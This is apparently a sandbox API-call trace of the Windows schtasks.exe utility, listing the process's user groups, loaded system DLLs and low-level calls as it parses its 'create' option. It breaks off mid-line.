cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1917 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1918 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1919 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1920 start_va = 0x60000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1921 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1922 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1923 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1924 start_va = 0xff120000 end_va = 0xff167fff monitored = 1 entry_point = 0xff14966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1925 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1926 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1927 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1928 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1929 start_va = 0xe0000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1930 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1931 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1932 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1933 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1934 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1935 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1936 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1937 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1938 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1939 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1940 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1941 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1942 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1943 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1944 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1945 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1946 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1947 start_va = 0x310000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 1948 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 1949 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1950 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1951 start_va = 0x490000 end_va = 0x617fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1952 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1953 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1954 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1955 start_va = 0x620000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 1956 start_va = 0x7b0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 1957 start_va = 0x150000 end_va = 0x161fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1958 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1959 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1960 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1961 start_va = 0x1bb0000 end_va = 0x1e7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1962 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1963 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1964 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1965 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1966 start_va = 0x1e80000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 1967 start_va = 0x1e80000 end_va = 0x1f5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 1968 start_va = 0x1f80000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 1969 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1970 start_va = 0x180000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1971 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1972 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1973 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1974 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1975 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 1976 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1977 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1980 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 113 os_tid = 0xef0 [0131.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdf860 | out: lpSystemTimeAsFileTime=0xdf860*(dwLowDateTime=0x1d4cb2e0, dwHighDateTime=0x1d8a92a)) [0131.369] GetCurrentProcessId () returned 0xeec [0131.369] GetCurrentThreadId () returned 0xef0 [0131.369] GetTickCount () returned 0x13864b1 [0131.369] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xdf868 | out: lpPerformanceCount=0xdf868*=2061023281594) returned 1 [0131.370] GetModuleHandleW (lpModuleName=0x0) returned 0xff120000 [0131.370] __set_app_type (_Type=0x1) [0131.370] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff14972c) returned 0x0 [0131.370] __wgetmainargs (in: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248, _DoWildCard=0, _StartInfo=0xff16125c | out: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248) returned 0 [0131.371] _onexit (_Func=0xff152ab0) returned 0xff152ab0 [0131.371] _onexit (_Func=0xff152ac4) returned 0xff152ac4 [0131.371] _onexit (_Func=0xff152afc) returned 0xff152afc [0131.372] _onexit (_Func=0xff152b58) returned 0xff152b58 [0131.372] _onexit (_Func=0xff152b80) returned 0xff152b80 [0131.372] _onexit (_Func=0xff152ba8) returned 0xff152ba8 [0131.372] _onexit (_Func=0xff152bd0) returned 0xff152bd0 [0131.372] _onexit (_Func=0xff152bf8) returned 0xff152bf8 [0131.372] _onexit (_Func=0xff152c20) returned 0xff152c20 [0131.372] _onexit (_Func=0xff152c48) returned 0xff152c48 [0131.373] _onexit (_Func=0xff152c70) returned 0xff152c70 [0131.373] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0131.373] WinSqmIsOptedIn () returned 0x0 [0131.373] GetProcessHeap () returned 0x210000 [0131.373] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22b990 [0131.373] SetLastError (dwErrCode=0x0) [0131.374] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0131.374] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0131.374] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0131.374] VerifyVersionInfoW (in: lpVersionInformation=0xdf020, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdf020) returned 1 [0131.374] GetProcessHeap () returned 0x210000 [0131.374] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22b9b0 [0131.374] lstrlenW (lpString="") returned 0 [0131.374] GetProcessHeap () returned 0x210000 [0131.374] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x2) returned 0x22b9d0 [0131.374] GetProcessHeap () returned 0x210000 [0131.374] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225930 [0131.374] GetProcessHeap () returned 0x210000 [0131.374] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22b9f0 [0131.374] GetProcessHeap () returned 0x210000 [0131.374] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225960 [0131.374] GetProcessHeap () returned 0x210000 [0131.374] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225990 [0131.374] GetProcessHeap () returned 0x210000 [0131.374] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x2259c0 [0131.374] GetProcessHeap () returned 0x210000 [0131.374] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x2259f0 [0131.374] GetProcessHeap () returned 0x210000 [0131.374] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22ba10 [0131.374] GetProcessHeap () returned 0x210000 [0131.374] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225a20 [0131.374] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225a50 [0131.375] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225a80 [0131.375] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225ab0 [0131.375] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22ba30 [0131.375] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225ae0 [0131.375] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225b10 [0131.375] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225b40 [0131.375] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225b70 [0131.375] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0131.375] SetLastError (dwErrCode=0x0) [0131.375] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225ba0 [0131.375] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225bd0 [0131.375] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225c00 [0131.375] GetProcessHeap () returned 0x210000 [0131.375] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225c30 [0131.375] GetProcessHeap () returned 0x210000 [0131.376] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225c60 [0131.376] GetProcessHeap () returned 0x210000 [0131.376] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22ba50 [0131.376] _memicmp (_Buf1=0x22ba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.376] GetProcessHeap () returned 0x210000 [0131.376] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x208) returned 0x22bbf0 [0131.376] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x22bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0131.376] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0131.379] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0131.379] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0131.380] GetProcessHeap () returned 0x210000 [0131.381] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x74e) returned 0x22c1a0 [0131.381] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0131.381] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x22c1a0 | out: lpData=0x22c1a0) returned 1 [0131.381] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0131.381] VerQueryValueW (in: pBlock=0x22c1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdf108, puLen=0xdf170 | out: lplpBuffer=0xdf108*=0x22c53c, puLen=0xdf170) returned 1 [0131.384] _memicmp (_Buf1=0x22ba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.384] _vsnwprintf (in: _Buffer=0x22bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdf0e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0131.384] VerQueryValueW (in: pBlock=0x22c1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdf178, puLen=0xdf168 | out: lplpBuffer=0xdf178*=0x22c368, puLen=0xdf168) returned 1 [0131.385] lstrlenW (lpString="schtasks.exe") returned 12 [0131.385] lstrlenW (lpString="schtasks.exe") returned 12 [0131.385] lstrlenW (lpString=".EXE") returned 4 [0131.385] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0131.386] lstrlenW (lpString="schtasks.exe") returned 12 [0131.386] lstrlenW (lpString=".EXE") returned 4 [0131.386] _memicmp (_Buf1=0x22ba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.386] lstrlenW (lpString="schtasks") returned 8 [0131.386] GetProcessHeap () returned 0x210000 [0131.386] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x225d50 [0131.386] GetProcessHeap () returned 0x210000 [0131.386] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cab0 [0131.386] GetProcessHeap () returned 0x210000 [0131.386] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cae0 [0131.386] GetProcessHeap () returned 0x210000 [0131.386] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cb10 [0131.386] GetProcessHeap () returned 0x210000 [0131.386] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22ba70 [0131.386] _memicmp (_Buf1=0x22ba70, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.386] GetProcessHeap () returned 0x210000 [0131.387] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xa0) returned 0x22bff0 [0131.387] GetProcessHeap () returned 0x210000 [0131.387] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cb40 [0131.387] GetProcessHeap () returned 0x210000 [0131.387] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cb70 [0131.387] GetProcessHeap () returned 0x210000 [0131.387] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cba0 [0131.387] GetProcessHeap () returned 0x210000 [0131.387] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22ba90 [0131.387] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.387] GetProcessHeap () returned 0x210000 [0131.387] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x200) returned 0x22d280 [0131.387] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0131.387] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0131.387] GetProcessHeap () returned 0x210000 [0131.387] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x30) returned 0x227a50 [0131.387] _vsnwprintf (in: _Buffer=0x22bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdf0e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0131.387] GetProcessHeap () returned 0x210000 [0131.387] GetProcessHeap () returned 0x210000 [0131.387] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22c1a0) returned 1 [0131.388] GetProcessHeap () returned 0x210000 [0131.388] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22c1a0) returned 0x74e [0131.388] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22c1a0 | out: hHeap=0x210000) returned 1 [0131.388] SetLastError (dwErrCode=0x0) [0131.388] GetThreadLocale () returned 0x409 [0131.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.389] lstrlenW (lpString="?") returned 1 [0131.389] GetThreadLocale () returned 0x409 [0131.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.389] lstrlenW (lpString="create") returned 6 [0131.389] GetThreadLocale () returned 0x409 [0131.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.389] lstrlenW (lpString="delete") returned 6 [0131.389] GetThreadLocale () returned 0x409 [0131.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.389] lstrlenW (lpString="query") returned 5 [0131.389] GetThreadLocale () returned 0x409 [0131.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.389] lstrlenW (lpString="change") returned 6 [0131.389] GetThreadLocale () returned 0x409 [0131.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.389] lstrlenW (lpString="run") returned 3 [0131.389] GetThreadLocale () returned 0x409 [0131.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.389] lstrlenW (lpString="end") returned 3 [0131.389] GetThreadLocale () returned 0x409 [0131.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.389] lstrlenW (lpString="showsid") returned 7 [0131.389] GetThreadLocale () returned 0x409 [0131.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.389] SetLastError (dwErrCode=0x0) [0131.389] SetLastError (dwErrCode=0x0) [0131.389] lstrlenW (lpString="/create") returned 7 [0131.389] lstrlenW (lpString="-/") returned 2 [0131.389] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.390] lstrlenW (lpString="?") returned 1 [0131.390] lstrlenW (lpString="?") returned 1 [0131.390] GetProcessHeap () returned 0x210000 [0131.390] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22c1a0 [0131.390] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.390] GetProcessHeap () returned 0x210000 [0131.390] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xa) returned 0x22c1c0 [0131.390] lstrlenW (lpString="create") returned 6 [0131.390] GetProcessHeap () returned 0x210000 [0131.390] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22c1e0 [0131.390] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.390] GetProcessHeap () returned 0x210000 [0131.390] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x14) returned 0x22c200 [0131.390] _vsnwprintf (in: _Buffer=0x22c1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|?|") returned 3 [0131.390] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|create|") returned 8 [0131.390] lstrlenW (lpString="|?|") returned 3 [0131.390] lstrlenW (lpString="|create|") returned 8 [0131.390] SetLastError (dwErrCode=0x490) [0131.390] lstrlenW (lpString="create") returned 6 [0131.390] lstrlenW (lpString="create") returned 6 [0131.390] _memicmp (_Buf1=0x22c1a0, 